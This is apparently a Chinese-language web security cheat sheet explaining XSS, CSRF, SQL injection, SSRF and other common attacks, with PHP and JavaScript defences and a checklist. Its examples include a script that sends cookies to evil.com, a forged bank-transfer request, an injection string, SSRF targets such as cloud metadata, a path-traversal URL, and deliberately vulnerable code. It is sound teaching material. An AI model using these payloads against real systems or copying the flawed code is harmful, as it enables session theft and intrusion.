一句话

Web 安全 80% 的事故,集中在 4 类攻击:
XSS(注入脚本)、CSRF(借你身份发请求)、SQL 注入(拼 SQL)、SSRF(让你服务器替它发请求)。


一、XSS(跨站脚本攻击)

原理:把 <script> 注入到网页里,用户访问时浏览器执行。

三种类型

类型来源例子
存储型攻击者把脚本存进数据库评论区写 <script>fetch('//evil.com?c='+document.cookie)</script>
反射型脚本在 URL 参数里?q=<script>...</script> 服务端原样回显
DOM 型前端直接 innerHTML 用户输入el.innerHTML = location.hash

防御

1
2
3
4
5
6
7
8
9
// ✅ 服务端转义
echo htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8');

// ✅ HTTP Header
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
header("X-XSS-Protection: 1; mode=block");

// ✅ Cookie HttpOnly,让 JS 拿不到
setcookie('session', $id, ['httponly' => true, 'secure' => true, 'samesite' => 'Strict']);
1
2
3
4
5
// ❌ innerHTML 危险
el.innerHTML = userInput;

// ✅ textContent 安全
el.textContent = userInput;

二、CSRF(跨站请求伪造)

原理:用户登录了 A 站,再访问恶意 B 站,B 站偷偷以用户身份给 A 站发请求。

1
2
3
<!-- 恶意页面 -->
<img src="https://bank.com/transfer?to=hacker&amount=1000">
<!-- 浏览器自动带上你在 bank.com 的 Cookie -->

防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 1. CSRF Token:表单/请求带一次性 token
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;

// 提交时校验
if (!hash_equals($_SESSION['csrf_token'], $_POST['_token'])) {
http_response_code(419); exit;
}

// 2. SameSite Cookie(最有效)
setcookie('session', $id, ['samesite' => 'Lax']); // 或 Strict

// 3. 检查 Origin / Referer
if ($_SERVER['HTTP_ORIGIN'] !== 'https://bank.com') exit;

// 4. 关键操作二次验证(输密码 / 短信码)

三、SQL 注入

原理:把 SQL 拼到字符串里,让用户输入改变 SQL 语义。

1
2
3
// ❌ 经典漏洞
$sql = "SELECT * FROM users WHERE name = '$name'";
// 输入 ' OR '1'='1 → 全表泄漏

防御

1
2
3
4
5
6
// ✅ 预编译(最有效,从根本上分离 SQL 和数据)
$stmt = $pdo->prepare('SELECT * FROM users WHERE name = ?');
$stmt->execute([$name]);

// ✅ ORM 框架已默认预编译
User::where('name', $name)->get(); // Laravel

不要相信”过滤特殊字符”。永远预编译。

二阶注入

数据写入时是干净的,但被取出再拼到 SQL 时出事。所有 SQL 拼接点都要用预编译,没有例外。


四、SSRF(服务端请求伪造)

原理:服务端按用户给的 URL 发请求,被引导去访问内网。

1
2
3
4
// ❌ 让用户传 URL 然后服务器去抓
$content = file_get_contents($_GET['url']);
// 输入 http://169.254.169.254/latest/meta-data/ → 拿到 AWS 元数据
// 输入 http://localhost:6379/ → 打到 Redis

防御

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 1. 协议白名单
$allowed = ['http', 'https'];
$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, $allowed)) exit;

// 2. 解析 IP,禁止内网段
$ip = gethostbyname(parse_url($url, PHP_URL_HOST));
$bad_ranges = [
'127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12',
'192.168.0.0/16', '169.254.0.0/16', '0.0.0.0/8',
];
foreach ($bad_ranges as $range) {
if (ip_in_range($ip, $range)) exit;
}

// 3. 跟随重定向时再验一次(攻击者会用 302 绕过首次校验)
// 4. 用独立 egress 网关,限制只能访问公网

五、其它常见

攻击一句话防御
目录穿越?file=../../etc/passwdrealpath() + 白名单目录
命令注入拼 shell:exec("convert $file")escapeshellarg(),更好是用库 API
XXEXML 解析时加载外部实体libxml_disable_entity_loader(true)
不安全的反序列化unserialize($_COOKIE)用 JSON,反序列化绝不接受用户输入
越权(IDOR)?order_id=123 改成别人的后端校验所有权

六、自检清单

  • 所有 SQL 用预编译
  • 所有输出做 HTML 转义 + CSP 头
  • Cookie 全部 HttpOnly + Secure + SameSite
  • 关键写操作有 CSRF Token
  • 用户提供的 URL 全部 SSRF 校验
  • 文件上传:白名单后缀 + MIME + 重命名 + 不在 web 根目录
  • 密码 bcrypt/argon2,绝不 MD5
  • HTTPS 全站 + HSTS 头

参考